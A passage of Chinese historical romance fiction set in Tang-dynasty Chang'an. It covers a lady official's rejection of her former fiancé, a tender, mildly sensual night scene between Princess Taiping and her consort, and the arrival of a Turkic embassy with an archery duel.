“不是的!阿月,你听我说!秋菱那件事,全是误会!她是长房安插的眼线,她偷了我的诗稿想去构陷,事情败露后自己畏罪自尽!跟我没有关系!我可以对质,我可以……” “重要吗?” 三个字,清清冷冷,却如同冰锥,瞬间刺穿了卢衡所有急切的、混乱的辩解。杜娘子(此刻或许更应称她为杜司籍)微微抬眸,眼底依旧无波无澜,仿佛他口中那关乎人命、关乎清白的“真相”,只是一缕无关紧要的尘埃。 她不再看他,而是从袖中,缓缓滑出一卷保存完好、却已显陈旧的大红洒金婚书。指尖轻轻一抖,婚书展开,上面“永结同心”、“良缘夙缔”等字,依旧鲜红刺目。 她没有丝毫犹豫,手腕一扬,那卷承载着过往承诺与家族联姻的婚书,便被她干脆利落地,扔进了水阁角落,一只用于取暖兼焚香的精致铜胎珐琅火盆之中! 橘红色的火苗猛地窜起,贪婪地舔舐上柔软的纸面。象征着“永结同心”的鲜红字迹,在火焰中迅速扭曲、焦黑、化为灰烬。跳跃的火光映亮她清秀的侧脸,那双曾经或许盈满灵动与情意的眸子,此刻却平静得像两口深不见底的古井,倒映着毁灭的火焰,却激不起半分涟漪。 “当年,你明知你叔父与长房勾结,意图侵吞我父母留下的那点微薄田庄,作为拿捏我、进而掌控二房的筹码。” 她看着婚书在火中化为飞灰,声音平稳得近乎残忍,“我问你该如何,你只皱着眉,劝我‘女子当以柔顺为德’,‘暂避锋芒’,‘从长计议’。从长计议?计议到我杜氏田产改姓卢,计议到我成为你卢家后院里,一个仰人鼻息、连自己嫁妆都守不住的傀儡夫人么?” 她缓缓转回目光,第一次,真正地、平静地看向脸色惨白、摇摇欲坠的卢衡,一字一句,清晰无比: “卢公子,你看清楚了。站在你面前的,是太平公主殿下亲赐官身、食朝廷俸禄的六品司籍女官,杜氏。我的前程,我的安危,我的喜怒,如今系于公主殿下,系于当朝二圣与三位皇子殿下。殿下当日肯收容我,便说过,她既敢开这个门,自然有本事,也有底气,担得起后续一切。这,才是我如今立足的‘根基’,而非你卢家那潭混着吸血蚂蟥的、所谓的‘百年世家’的深井!” “我……” 卢衡被她眼中那冰冷的、毫无回旋余地的光芒刺得心头发慌,还欲再说什么。 杜司籍却已不再给他机会,微微一颔首,对旁边侍立的两名早已准备好的、身材健硕粗壮的仆妇吩咐道:“送卢公子出府。莫要惊扰了殿下与诸位夫人的雅兴。” “是!” 两名健妇应声上前,一左一右,如同老鹰抓小鸡般,毫不客气地架起尚未反应过来的卢衡,任凭他如何挣扎嘶喊,拖起就走,径直穿过庭院,在无数或诧异或了然的目光注视下,将他再次狠狠扔出了公主府的大门之外! 卢衡被摔得七荤八素,趴在冰凉坚硬的青石街面上,半天爬不起来。浑身的骨头都在痛,心口更像被挖空了一块,冷风飕飕地往里灌。他抬起头,看着公主府那扇再次对他紧闭的、高大威严的朱红大门,眼中是彻底的绝望与茫然。三年?不,甚至不到三年。当初那个会在月下听他读诗、会因为他一句玩笑而脸颊飞红、会偷偷绣了香囊塞给他的灵秀少女,怎么会变得如此……冰冷,决绝,陌生? “凉薄……哈哈哈……凉薄至此……” 他神经质地低笑着,泪水混着脸上的尘土,滑落下来。 就在这时,一阵规律的马蹄声由远及近。卢衡茫然抬头,正看见一身绯色官袍、刚从兵部散值归来的刘皓南,骑马而至,在府门前翻身下马,将缰绳交给迎上来的仆役。 仿佛是抓住了最后一根稻草,卢衡不知哪来的力气,猛地从地上爬起,跌跌撞撞地扑了过去,一把死死抓住了刘皓南的官袍袖口!力道之大,几乎将质地上乘的锦缎扯破。 “薛都尉!薛驸马!” 卢衡嘶声喊道,声音破碎不堪,充满了不甘与控诉,“你看见了!你都看见了!不过三年!短短三年!她便能将过往种种,抛却得一干二净!视我如仇雠,如敝履!那婚书……那婚书她竟当着我的面,扔进火里烧了!烧了!世间怎会有如此凉薄心狠的女子?!她杜家的教养呢?当年的情分呢?难道都喂了狗吗?!” 刘皓南被他扯得身形微顿,垂眸,看向这个形容狼狈、状若疯癫的昔日世家公子。他没有立刻甩开他的手,只是静静地、带着一种近乎冷酷的审视,看着卢衡眼中翻腾的痛苦、委屈与愤怒。 片刻,刘皓南忽然扯了扯嘴角,发出一声极轻的、却充满了讽刺意味的冷笑。 “凉薄?” 他重复着这两个字,目光如冰锥,刺入卢衡混乱的眼眸。 “卢公子饱读诗书,可曾听过一桩旧事?东晋时,名士谢安,欲纳妾。其友人以‘不孝有三,无后为大’、‘周公制礼’等大道理,去劝说谢安的夫人刘氏。卢公子可知,谢夫人当时是如何回答的?” 他不待卢衡反应,也不需他回答,指尖轻轻叩了叩自己腰间象征官员身份的银鱼袋,声音平稳,却字字如刀: “谢夫人当即反驳:‘若使周姥(周公之妻)制礼,当不如此!’” 他逼近一步,盯着卢衡瞬间呆滞的脸,语气愈发尖锐: “卢公子在此声声泣血,指责杜司籍‘凉薄’、‘心狠’,要求她顾念‘情分’、遵从‘婚约’、体谅你的‘无奈’与‘委屈’。那么,我且问你——” “当年杜家田产被觊觎,她孤立无援向你求助时,你的‘情分’在哪里?你的‘担当’在哪里?可是劝她‘柔顺’、‘避让’?” “你口口声声说那婢女是眼线,是自尽,你是冤枉的。那么,事发之后,你可曾如关云长挂印封金、千里走单骑那般,为了洗刷自己与她可能蒙受的污名,不惜与家族决裂,公开对质,哪怕丢掉继承权、沦为白身,也要还彼此一个清白堂堂正正?!” “你没有。你选择了在你卢家那套‘家族利益至上’、‘大局为重’的规则里,忍气吞声,斡旋妥协。你希望她理解你的‘不得已’,希望她与你一同,在那潭浑水里,继续‘从长计议’。” 刘皓南猛地甩开卢衡抓着他袖口的手,力道不重,却带着一种彻底的、划清界限的冷漠。 “如今,她不愿再陪你玩这套‘世家规则’的游戏了。她跳出了那口井,抓住了公主给的机会,用自己的方式,去挣一份不必仰人鼻息、不必牺牲自我去成全所谓‘大局’的活法。你便觉得她‘凉薄’了?觉得她‘心狠’了?” “卢衡,” 刘皓南最后看了他一眼,那目光里再无半分温度,只有洞悉一切的冰冷与淡淡的鄙夷,“凉薄的,从来不是挣脱囚笼、寻求生路的人。凉薄的,是那些自己不敢、不愿挣脱,却还要指责、阻拦他人挣脱,并美其名曰‘顾全大局’、‘遵守礼法’的……懦夫与帮凶。” 说完,他不再理会如遭雷击、僵立当场的卢衡,转身,步履沉稳地踏入了公主府洞开的大门。朱门在他身后,再次缓缓合拢,将门外那个失魂落魄的身影,与门内渐渐亮起的温暖灯火,彻底隔绝。 刘皓南踏入寝殿时,室内已掌了灯,暖融明亮。晚膳刚刚布好,四碟八碗,皆是精致可口。太平早已换下了白日见客的正式袍服,只着一身家常的杏子红软缎寝衣,外罩一件同色绉纱半臂,乌发松松挽着,斜倚在桌边。见他进来,她拈起银箸,夹了一筷子他平日爱吃的嫩笋鸡丝,放入他面前的骨碟中,指尖“不经意”地蹭过他的手背,带起一 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待到洗漱完毕,寝殿内只余角落两盏宫灯,光线昏黄暧昧。刘皓南正倚在榻边翻阅一本兵书,却见太平从屏风后转出,身上竟已不是寝衣。 那是一套极具异域风情的波斯舞姬纱丽!料子是近乎透明的、染成瑰丽晚霞色的轻纱,层层叠叠,却巧妙地只遮掩了关键部位。纤细的腰肢完□□露,肌肤在纱下若隐若现,一条以细金链串起的、鸽血红宝石坠子,正垂在她小巧精致的脐上,随着她的动作,折射出碎钻般惑人的光芒。她赤着足,雪白的脚踝上,之前系铃留下的那圈淡粉色淤痕尚未完全消退,在莹白的肌肤上显得格外刺目,又别有一种脆弱的艳色。 她踩着无声的猫步,走到榻边,然后抬起一条腿,膝盖抵上榻沿,就着这个姿势,整个人轻盈地一旋身,便面对面地,跨坐在了刘皓南的膝头。 纱丽的裙摆随着动作滑落,堆叠在她腿根,露出更多莹润的肌肤,与那圈足踝淤痕上下呼应。她双臂如水蛇般缠上他的脖颈,腰肢开始款摆,模仿着记忆中胡旋舞的韵律,试图扭动。然而,那动作看似诱人,实则生涩,甚至带着一丝不易察觉的僵硬。她腰腹的肌肉,因为不习惯这种刻意的、充满表演性质的诱惑姿态,而不由自主地绷紧,如同拉满的弓弦。 刘皓南的呼吸在她坐上来的瞬间便是一滞。掌心下意识地扶上她光滑的后腰,触手所及的肌肤微凉,肌理却紧绷得厉害。他甚至能感觉到,当她试图做出一个更大幅度的扭腰动作时,那纤细脚踝上,仿佛还系着无形的金铃,随着她僵硬的动作,发出了生涩的、并不悦耳的摩擦声——那是她身体不协调的紧绷,传递出的无声信号。 看着她在昏黄光线下,努力扮演着“魅惑舞姬”,却因生疏和某种说不清的别扭而显得有些笨拙的模样,刘皓南眼中翻涌的暗色渐渐沉淀,化为一种混合了无奈、心疼与了然的深邃。他忽然伸出手,不是搂紧她,而是扣住了她那只带着淤痕的脚踝。 指尖带着薄茧,极轻地、抚过那圈淡粉色的痕迹。 “殿下若真想试试《洞玄子》里的趣致,” 他开口,声音有些低哑,却异常平稳,带着一种引导的意味,“何不……先从第三章的‘双鲤溯溪’看起?那式讲究气息交融,以缓制急,以柔化刚,或许……更合殿下如今的身子。” 太平被他这突如其来的“学术探讨”弄得一怔,扭腰的动作停了下来,眼中闪过一丝茫然与被看穿的小小懊恼:“嗯?‘双鲤溯溪’?那式不是……” 她话音未落,刘皓南已不再多言。他手臂微微用力,便将她从自己膝上抱了下来,随即动作流畅地一个翻转,将她安置在柔软的锦褥之上,摆出了一个与那“双鲤溯溪”图谱记载颇为相似的、却更为舒缓松弛的起始姿势。 “呀!” 太平因这突如其来的姿势变化,低低惊呼一声,身体本能地有些僵硬。 就在她因这生涩姿势而微微蹙眉时,一股温润平和、如春日溪流般的内力,已自他贴在她腰眼要穴的掌心,悄然注入,沿着她紧绷的经络缓缓游走,带来熨帖的暖意与放松。 “吐蕃妖僧之事后,臣便命人多方搜罗、校验此类典籍,以防其中再藏诡谲。只是卷帙浩繁,尚未及仔细整理归类……” 他一边以内力引导她放松,一边低声说道,声音贴着她的耳廓,带着事后的沙哑与一种奇异的耐心,“譬如这‘双鲤溯溪’,看似简单,实则需先以特定呼吸法,贯通足三阴经,引气归元……” 他说话间,指尖已不着痕迹地,解开了她身上那件过于繁琐、束缚动作的波斯纱丽颈后的系带。轻薄的霞色纱丽,如同褪去的蝉翼,无声滑落榻下。 温润的内力在她体内缓缓游走,驱散了刻意营造的紧绷与那份急于“尝试”的焦躁。太平只觉得一股舒适的暖流包裹着酸软的腰肢,多日来积压的疲惫,与强行支撑的精神,在这柔和的力量抚慰下,渐渐松懈。眼皮越来越沉,神智开始模糊。 恍惚间,她只记得足踝处传来一阵微凉,似乎是……那对并不存在的金铃,被他轻轻“卸下”的触感?又或许,只是他指尖抚过淤痕带来的凉意。 “殿下今日累了,且好生安睡。” 他低沉的声音,如同催眠的咒语,在耳边最后响起。 烛火轻轻跳跃,将他的影子拉长,投在墙壁上。刘皓南细致地为沉沉睡去的太平掖好被角,将那身华丽的波斯纱丽拾起,折叠好,置于一旁。妆台最下层的抽屉被轻轻拉开,里面一个铺着绒布的锦盒中,静静躺着那对曾系在她足踝、伴随他们度过生死五日的赤金铃铛。他看了一眼,将盒子推回深处,锁扣轻轻合拢。 他走回榻边,就着灯光,展开另一卷图谱——《龙凤导引图》,这是道门正统的双修养生之法,讲究阴阳调和,互利共生,与那些充满欲望与控制的旁门左道截然不同。他正欲细看其中几处关于疗愈内损的记载…… 一条光洁修长、犹带暖意的腿,忽然从锦被中探出,不轻不重地,横压在了他的腿上。月光透过窗纱,清泠泠地洒落,正好照亮了那只横陈的玉足,以及足踝上那一圈尚未完全消退、在月光下泛着淡淡青紫色的淤痕。那是金铃留下的印记,也是那场疯狂“解毒”留在她身上、或许也留在他心上的烙印。 刘皓南动作一顿,目光落在那一圈青紫上,深邃的眼眸中掠过复杂难言的情绪。他伸出手,指尖悬在那淤痕上方寸许,内力微吐,一股极柔和温暖的气息,缓缓笼罩过去,试图化开那凝滞的瘀血。 锦被随着太平无意识的翻身,滑落少许,露出她半边圆润的肩头与精致的锁骨。 “孤阳不生,孤阴不长……阴阳燮理,机在其中……” 他低声诵念着导引图开篇的总纲,声音低沉,如同静夜诵经。然而,指尖终究没有直接触及那伤痕。 最终,他轻轻叹了口气,将那条不安分的腿小心地挪回被中,用锦被将她裸露的肩头与那圈足踝淤痕,一同仔细地裹好。动作温柔,带着一种近乎珍视的小心翼翼。 远处皇城方向,传来三更沉闷的鼓声,余韵悠长,穿透寂静的夜色。 刘皓南吹熄了最后一盏灯,寝殿陷入一片适合安眠的黑暗与静谧。他在太平身侧躺下,将她连人带被揽入怀中。怀中人似乎在梦中呓语了一声,无意识地在他胸口蹭了蹭,寻了个更舒适的姿势,呼吸重新变得均匀绵长。 黑暗中,他睁着眼,望着帐顶模糊的承尘。掌心,似乎还残留着抚过她足踝淤痕时,那微凉细腻的触感,与视觉中那圈青紫带来的、细微却清晰的刺痛。 这位曾纵横捭阖、历经沧桑的前辽国国师,此刻在长安公主府的寝殿内,听着身侧人平稳的呼吸,感受着怀中真实的温暖与重量,终是认命般地,缓缓闭上了眼睛。 任由梦中,或是清醒时,那圈金铃的残痕,与关于那五日的所有记忆——焦灼、痛苦、决绝、后怕,以及劫后余生的这一点点宁静与温暖——如同最深刻的烙印,无声无息,却不可磨灭地,烙进他的胸膛,融入他的骨血。 68. 突厥使团入京 辰时初刻,长安城,朱雀大街。 天色方明,晨曦未透,整座帝都最宽阔、最庄严的中轴御道——朱雀大街,已然是另一番景象。沿街商铺住户早早得了官府严令,以净水反复泼洒街面,压住浮尘,又以细黄土仔细垫平道中车辙沟壑。街道两侧,早已被金吾卫与左右卫的府兵清出宽阔通道,三步一岗,五步一哨。军士们身着簇新锃亮的明光铠,头盔红缨在微凉的晨风中纹丝不动,矛戟如林,在渐亮的天光下闪烁着森然寒光。各色彩绣龙旗、凤旗、日月旗、以及象征各卫府的猛兽旗,猎猎招展,几乎遮蔽了半片天空,昭示着天朝上国迎接外宾的盛大威仪与不容亵渎的尊严。 百姓们被远远拦在坊墙之下、酒楼窗后,人潮汹涌,翘首以盼,低低的惊叹与议论声汇成嗡嗡的声浪: “快看!那是突厥的狼头旗!竟能与咱们的龙旗凤旗并排而行!乖乖,这阵仗,怕是贞观年间迎接突厥可汗归附,也不过如此了吧?” “百年难遇的盛景啊!听闻这次来的,是突厥新立的骨咄禄可汗,年轻得很,野心不小呢!” “看那前头骑白马的!定是可汗了!好生威武!旁边那个穿赭色袍子的副使,模样也俊得很,不像蛮子……” 议论声中,突厥使团的三百余骑,沿着被清空、铺平、象征着“天街”的朱雀大街,缓缓行来。马蹄踏在湿润的黄土上,发出整齐而沉浑的“嘚嘚”声,带着草原特有的、未经驯化的野性与力量感。 为首一人,年约三旬,身形异常高大魁梧,面容深刻如刀劈斧凿,虬髯戟张,眼神锐利如鹰。他身披一袭毫无杂色的雪白狼裘,在晨光中耀目生辉,狼首做成的帽兜搭在肩后,更添几分蛮荒王者的霸烈之气。正是突厥新任可汗,骨咄禄。 而紧随其侧,落后半个马身的副使,则吸引了更多好奇与打量的目光。 他约莫二十五六年纪,身姿挺拔如雪原上的白桦,着一袭剪裁合体的赭色翻领窄袖胡袍,腰束嵌有绿松石的宽阔革带,足蹬乌皮靴。与可汗的粗犷威猛不同,他面容轮廓分明,鼻梁高挺,眉骨深邃,一双眼睛在晨光映照下,竟似盛着星子,明亮锐利,顾盼间自有草原儿郎的飞扬神采。尤其是当他单手控缰,肩背自然而然微微后绷,形成一道充满力量与蓄势待发美感的弧线时,恍若一张引而未发的苍狼劲弓,静默中蕴藏着惊人的爆发力。 此人,正是突厥副使,阿史那延陀。 这个名字,对此刻承袭了“薛绍”身份与记忆的刘皓南而言,本应是熟悉的——资料显示,这是薛绍昔年在西域从军时,曾并肩作战、甚至“一箭双雕”的旧友,是能托付后背的袍泽。然而,当刘皓南的目光,真正落在那个策马缓行、渐渐清晰的赭色身影上时,心头涌起的,却只有一片全然陌生的空白。 没有故人重逢的欣喜,没有记忆被触动的熟悉。那眉,那眼,那身姿气度,对他这个“外来者”而言,只是一个需要警惕应对的、代表突厥的、英俊而充满未知的“他者”。 鸿胪寺的礼官拖着长腔,高声唱诵着班序与仪程。使团队伍行至巍峨的承天门前,依制,外臣需下马解刀,步行入宫。 骨咄禄可汗利落下马,动作干脆,自有草原雄主的豪迈。副使阿史那延陀亦随之跃下,动作轻盈矫健,落地无声。他并未立刻随着可汗走向宫门,反而脚步一转,径直朝着迎候官员队列中,一身绯色官袍、位列前方的刘皓南走来。 步履间带着草原人特有的、大开大合的从容。行至刘皓南面前约三步处站定,他右手握拳,不轻不重地捶了一下自己左胸——那是突厥人表示敬意与亲近的礼节。随即,他抬起头,看向刘皓南,眼中漾开毫不掩饰的、明亮而真挚的笑意,那笑容灿烂得几乎有些晃眼,声音洪亮,带着草原风沙磨砺出的爽朗: “薛都尉!一别数年,别来无恙?!” 他上前半步,语气熟稔,带着追忆往昔的慨然: “当年龟兹城外,黄沙漫天,你我并辔驰骋,赌赛弓马。你我一箭齐发,竟射落空中一双纠缠的沙雕!那等快意,至今思之,犹在眼前!今日重逢于长安天街之下,不知薛都尉……” 他眼中掠过一丝跃跃欲试的锐光,语气半是玩笑半是认真,“可还敢与延陀,再比试一场?” 说话间,他腰间佩着的一柄鎏金匕首,随着他微微前倾的动作,在晨曦下反射出冷冽的光芒。匕首的鞘上,以极为精湛的工艺,浮雕着狰狞凌厉的螭龙纹,张牙舞爪,充满异域风情与攻击性。 刘皓南的目光,在那匕首的螭纹上停留了一瞬。纹样奇特,风格迥异于中原,也与薛绍可能接触过的任何器物图样毫无重合之处。心头那缕因“旧友”身份而生的陌生与疑虑,更深了一层。 然而,他面上未露分毫异色。迎着阿史那延陀灼灼的目光,刘皓南神色淡然,举止合度,微微颔首回礼,声音平稳清晰,带着官员应有的持重: “副使远道而来,一路辛苦。陛下已在太极殿相候,还请副使随鸿胪寺官员,先行入宫觐见。叙旧比武之事,容后再议不迟。” 他态度客气,却带着不容置疑的、将私人关系暂时隔绝于国事之外的疏离与分寸感。 阿史那延陀眼中笑意未减,深深看了刘皓南一眼,那目光似在探究什么,随即爽朗一笑:“好!都尉说得是,正事要紧!待觐见完毕,定要寻都尉好生‘叙旧’!” 说罢,他不再多言,转身跟上已走出数步的骨咄禄可汗,在鸿胪寺官员的引导下,大步走向那象征帝国至高权力的宫门深处。背影挺拔如松,步履沉稳,那身赭色胡袍在朱墙碧瓦的映衬下,鲜艳夺目,带着闯入者特有的、生机勃勃的侵略性。 太极殿内。 御座高踞,帝后并坐。武后今日未垂珠帘,身着玄底纁边、绣金翟鸟的祎衣,头戴九龙四凤冠,端庄威仪,令人不敢逼视。她唇角噙着一丝恰到好处的、母仪天下的温和笑意,目光平静地注视着殿中献礼的突厥使团。 骨咄禄可汗依礼参拜,奉上以金泥封缄的国书,言辞恭谨,表达了愿与大唐永修盟好、互通有无之意。随即使团随从抬上一只沉重的鎏金木箱。 箱盖开启的刹那—— “嗡——” 仿佛有无形的波澜荡开!一颗足有婴儿拳头大小、浑圆无瑕、通体流转着月华般温润光晕的宝珠,静静躺在铺着黑丝绒的箱底。其光华并不刺眼,却奇异地驱散了殿中因建筑深邃而产生的些许阴翳,将方圆数丈映照得亮如白昼,却又丝毫不觉燥烈,反而有种清冷圣洁之感。 “此乃我突厥世代相传的圣物——‘多宝珠’!” 骨咄禄可汗声若洪钟,带着自豪,“相传为雪山神女眼泪所化,暗夜生辉,可照百里,能驱邪祟,聚祥瑞。今特献于大唐皇帝陛下,愿此珠光华,永耀唐突友谊,示我部修好之诚!” 殿中响起低低的惊叹。此等宝物,确非凡品。 武后抚掌,轻轻一笑,声音清越悦耳:“可汗美意,朕与陛下心领了。昔年太宗文皇帝得突厥所献蹄玉马,曾言:‘明珠投暗,不若砺石筑城。宝马空老,何如驽马耕田。’ 宝物虽珍,终是死物。贞观年间,突厥亦曾献八棱水晶盏一对,光华璀璨。太宗命将之熔毁,重铸为百副精钢铁犁铧,赐予陇右道百姓垦荒。至今陇右粮丰,百姓犹念太宗之德与突厥当年馈赠之谊。” 她眼风似无意地,掠过下首肃立的刘皓南,继续温言道: “可见两国相交,贵在相知,利在百姓。此珠光华,朕收下了,亦当思如何化此珠华,福泽黎民。可汗以为如何?” 骨咄禄可汗面色微微一凝,旋即大笑:“天后圣明!陛下胸怀,令人钦佩!” 就在这时,副使阿史那延陀越众而出。他解下腰间那柄鎏金螭纹匕首,双手奉上: “尊贵的天后可汗,外臣阿史那延陀,亦有一物献上。” 他将匕首托高,刃鞘上狰狞的螭纹在“多宝珠”光华映照下,更显凌厉: “此刃,乃昔年薛绍薛都尉在西域时,赠与外臣的信物。他曾言,此刃象征肝胆相照,生死不负。今外臣愿以此刃,易取大唐《齐民要术》、《农桑辑要》等农书十卷,携回草原,传授部族耕织之法,使我突厥子民,亦能免受风雪饥馁之苦,此方不负当年薛都尉赠刃时‘造福生民’之初衷!恳请天后陛下恩准!” 此言一出,殿中目光齐刷刷聚焦于刘皓南身上。赠刃旧友,以信物易农书,听起来合情合理,甚至是一段佳话。 刘皓南心头却是猛地一沉。这匕首,他毫无印象!这所谓的“赠刃之言”、“造福生民”,更是无从谈起!阿史那延陀此刻突然提起,并以如此郑重的方式“易物”,究竟是真心求书,还是……借此旧物,行试探之举?试探他这个“薛绍”,是否还记得当年细节?是否……还是当年那个薛绍? 无数念头电光石火间闪过。刘皓南面色沉静,稳步出列,从内侍手中接过那柄匕首。 入手冰冷沉重,螭纹的凹凸感清晰地传递到掌心,陌生至极。他指腹缓缓抚过刀鞘上每一道纹路,试图寻找一丝熟悉的共鸣,却徒劳无功。 然而,他敏锐地捕捉到,当阿史那延陀说出“易取农书”时,眼中一闪而过的、并非全然的恳切,而是一丝极淡的、难以捉摸的审视。 电光石火间,刘皓南已有决断。他双手托刃,躬身向御座方向,声音清晰沉稳: “陛下,天后。昔年微臣年少,赠刃之举,不过意气。副使念念不忘,乃至愿以信物易取农书,惠及部族,实乃仁心,更见其仰慕天朝文明、愿效耕织以安民之志。臣,附议副使之请。” 他顿了顿,抬头,目光平静地迎向阿史那延陀: “然,漠北之地,风土与中原迥异,中原农书所载,未必尽合草原之用。臣请于所赐农书之外,加派精通漠北作物、畜牧之农官匠人,随副使北归,实地勘察,增补适合漠北水土的农事篇目。如此,方不负副使求书安民之美意,亦显我大唐馈赠之周全。不知副使意下如何?” 他这番话,既接下了“旧友赠刃”的茬,全了场面,又将单纯的“易物”,提升到了“技术援助”、“量身定制”的层面,更隐含了一层“我大唐对你突厥了如指掌,可针对性帮助”的从容与底气。同时,派遣人员随行,亦是光明正大的监察与渗透。 阿史那延陀眼中掠过一丝诧异,随即化为更明亮、更深邃的笑意,他重重捶胸:“薛都尉思虑周全,延陀拜服!如此,感激不尽!” 翌日,皇家马场。 天高云淡,草场开阔。一场非正式的马术弓马“切磋”在此进行。名为助兴,实为两国儿郎暗中的较量。 阿史那延陀勒住□□神骏的栗色战马,扬鞭指向场边沙盘上临时摆出的简易阵型——那是昨日刘皓南提及的、改良后的“三才阵”变种。 “闻薛都尉改良此阵,专克我突厥重骑冲锋?” 阿史那延陀眉梢微挑,带着草原男儿特有的、毫不掩饰的自信与战意,“纸上谈兵,终觉浅。不若,实战演练一番?” 话音未落,他竟不等刘皓南回应,猛地一夹马腹!栗色战马长嘶一声,如离弦之箭般狂飙而出!并非冲向刘皓南,而是斜刺里冲向场边插着箭靶的方向! 更令人瞠目的是,就在疾驰之中,阿史那延陀整个上身忽地向左侧倾倒,几乎与马背平行,仅以左足勾住马镫,右腿凌空——正是突厥骑兵最高难度的“镫里藏身”绝技!与此同时,他右手已自背上取下硬弓,搭箭上弦,借着急速与腰腹核心的惊人力量,于这身体悬空、颠簸剧烈的状态下,弓如满月,连珠三箭! “嗖!嗖!嗖!” 三支雕翎箭破空尖啸,并非射向箭靶,而是呈品字形,如同三只发现猎物、急扑而下的饥饿鹰隼,带着凄厉的风声,直取尚立于原地、似乎还未准备好的刘皓南上中下三路!快、准、狠,彰显着草原射雕手巅峰的技艺与毫不留情的试探! “好!” “小心!” 场边响起惊呼。 刘皓南瞳孔微缩,却未见慌乱。几乎在箭矢离弦的刹那,他动了!并未闪避,而是反手自身后箭囊中抽出三支白羽箭,脚下一蹬,身形如鹞子翻身,凌空跃起,于空中张弓搭箭,动作行云流水,竟然后发先至! “咻!咻!咻!” 三声更尖利急促的破空声! 只见刘皓南射出的三箭,并非拦截,而是以更快的速度、更刁钻的角度,精准无比地撞上了阿史那延陀射来的三支箭矢箭头! “锵!锵!锵!” 半空中爆出三朵刺目的火星!金铁交鸣之声刺耳!阿史那延陀那三支势在必得的箭,竟被刘皓南的箭凌空劈裂,箭头歪斜,无力地坠落在草地上! 两骑此时已交错而过,带起漫天尘土。 阿史那延陀眼中战意更盛,低喝一声,就在两马相错的电光石火间,他竟从马鞍侧闪电般抽出一条乌黑油亮的牛皮套马索,手腕一抖,索套如毒蛇吐信,无声无息地袭向刘皓南控缰的右手手腕!这一下阴险刁钻,若是被套中,瞬间便会失去平衡坠马! 刘皓南似乎早有预料,就在套索及体的瞬间,他整个人如同失去了重量,顺着马匹奔腾的起伏之势,腰肢柔韧至极地向后一仰,竟以单足勾住马镫,上半身几乎平贴在马背另一侧,险之又险地避开了那索套!同时,他手中不知何时已再次扣箭上弦,就着这仰倒的、近乎不可能发力的姿势,弓弦惊响! “嗤——!” 一支白羽箭贴着他自己的马腹掠过,以毫厘之差,擦着刚刚收回套索、正欲调整身形的阿史那延陀的颧骨飞过!带起的凌厉劲风,甚至削断了他几根飞扬的发丝!箭矢去势不减,“哆”地一声,深深钉入远处作为界标的硬木旗杆之上,箭尾犹自嗡嗡剧颤! 全场死寂。 阿史那延陀勒住战马,抬手摸了摸微微刺痛的脸颊,那里有一道极浅的白痕。他转头,看向不远处已稳稳坐回马背、气息匀停的刘皓南,眼中最初的审视与试探,终于化为了毫不掩饰的激赏与凝重,他朗声大笑,声震草场: “好!好一个薛绍!箭术不减当年!身手更胜往昔!痛快!” 就在这时,看台方向忽起一阵不大不小的骚动。 一道墨色身影,骑着一匹通体乌黑、唯有四蹄雪白的骏马,如同一道凌厉的黑色闪电,毫无预兆地闯入草场,径直朝着两人比试的中心区域而来! 来者正是窦娘子。 她今日未着裙钗,而是换了一身极为利落的墨色窄袖胡服,以同色革带紧紧束住纤细却柔韧的腰肢,袖口挽起,露出两截莹白如玉的小臂。足蹬一双小巧精致的鹿皮短靴,乌发高高束成马尾,以一根简单的乌木簪固定,再无多余饰物。这一身装扮,将她原本就高挑的身姿衬得愈发挺拔飒爽,眉眼间的英气勃勃而出,宛如一只骤然降临朔漠、睥睨四顾的墨羽鹰隼,美丽,骄傲,且充满不容忽视的力量感。 她策马在阿史那延陀与刘皓南之间不远处勒住,马蹄轻踏,目光先是在刘皓南身上略一停留,颔首致意,随即,便落在了正怔怔望着她的阿史那延陀脸上。 阿史那延陀似乎完全没料到会在此情此景下,见到这样一位女子。他眼中的激赏与战意尚未完全褪去,又糅杂进惊艳与愕然,一时间竟有些失语。他定定地看着窦娘子那双清亮锐利、仿佛能洞穿人心的眸子,看着她因疾驰而微微泛红的脸颊,与那身掩不住世家风骨、却又充满生命力的装扮…… 片刻,他竟有些笨拙地、用略显生硬却异常清晰的汉语开口,语气里没了方才与刘皓南较技时的豪迈不羁,反而透出一种奇异的、近乎长安士子般的文雅与斟酌: “这位……娘子。七年前,延陀曾随使团至长安,于曲江池畔,远远得见娘子风姿。彼时年少,未敢唐突。今日再见……” 他顿了顿,眼中光华流转,是毫不掩饰的欣赏与某种更深沉的东西,“方知中原女儿,亦有凌云之姿,飒沓如星,令人心折。” 窦娘子闻言,唇角微微勾起一抹极淡的、辨不出意味的弧度。她并未答话,只是反手,自袖中滑出一枚龙眼大小、金光灿灿的小丸,看也不看,手腕一抖—— “嗒”一声轻响。 金丸不偏不倚,正打在阿史那延陀坐骑前蹄半尺外的草地上,嵌进松软的泥土,滴溜溜打转。 她这才抬起眼,眼波在阿史那延陀与不远处的刘皓南之间流转了一圈,声音清越,带着一丝不易察觉的调侃: “副使既知《敕勒歌》难动天家金枝,何不先拿出真本事,胜过眼前这位大唐驸马都尉,再论其他风月闲事?” 这话既回应了阿史那延陀隐含的赞美与某种未尽的倾慕,又四两拨千斤地将话题引回“比试”正途,更隐隐点出他“驸马”身份,划下一条无形的界限。姿态大方,言辞机锋,既不失贵女风度,又明确表达了态度。 阿史那延陀怔了怔,看着地上 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正说着,有侍女入内禀报:“殿下,窦娘子方才遣人传话,说……突厥副使阿史那延陀,风姿气度,颇有几分传说中‘侧帽风流’的北周独孤信之韵。若论诗酒纵马,鉴赏金石,她倒愿陪副使赏尽长安四时之花,谈遍古今快意之事。至于婚嫁之事……” 侍女顿了顿,模仿着窦娘子清冷的语调: “窦家女儿的石榴裙上,从不会绣那等成双成对、束缚手脚的鸳鸯戏水图样。副使若有意,不妨看看裙角绣的,是搏击长空的鹰,还是踏碎凌霄的马。” 太平嗤笑一声,将银刀“哐当”一声丢回银盘: “七年前,他初次随使团来长安,便在曲江宴上,对着本宫高唱《敕勒歌》,言辞直白得很。本宫当时便回了他一句‘非我族类,其心必异,不嫁’。没想到,七年过去,他倒是学聪明了,知道迂回,知道先寻个‘知音’了。” 她指尖把玩着那枚侍女呈上的、窦娘子用来打马蹄的金丸,眼中闪过一丝了然与赞赏: “这丫头,心思剔透得很。她是瞧出阿史那延陀此番,怕不只是政治联姻那么简单,里头确有几分真心实意的倾慕,才会拿独孤信这等‘侧帽风流’却功高震主、难得善终的人物作比,既是婉拒,也是提醒。至于那‘石榴裙上不绣鸳鸯’的话……更是明明白白告诉对方,她窦氏女儿,不靠联姻固宠,自有翱翔之志。这拒绝,够漂亮,也够……扎人。” 三更时分,万籁俱寂。 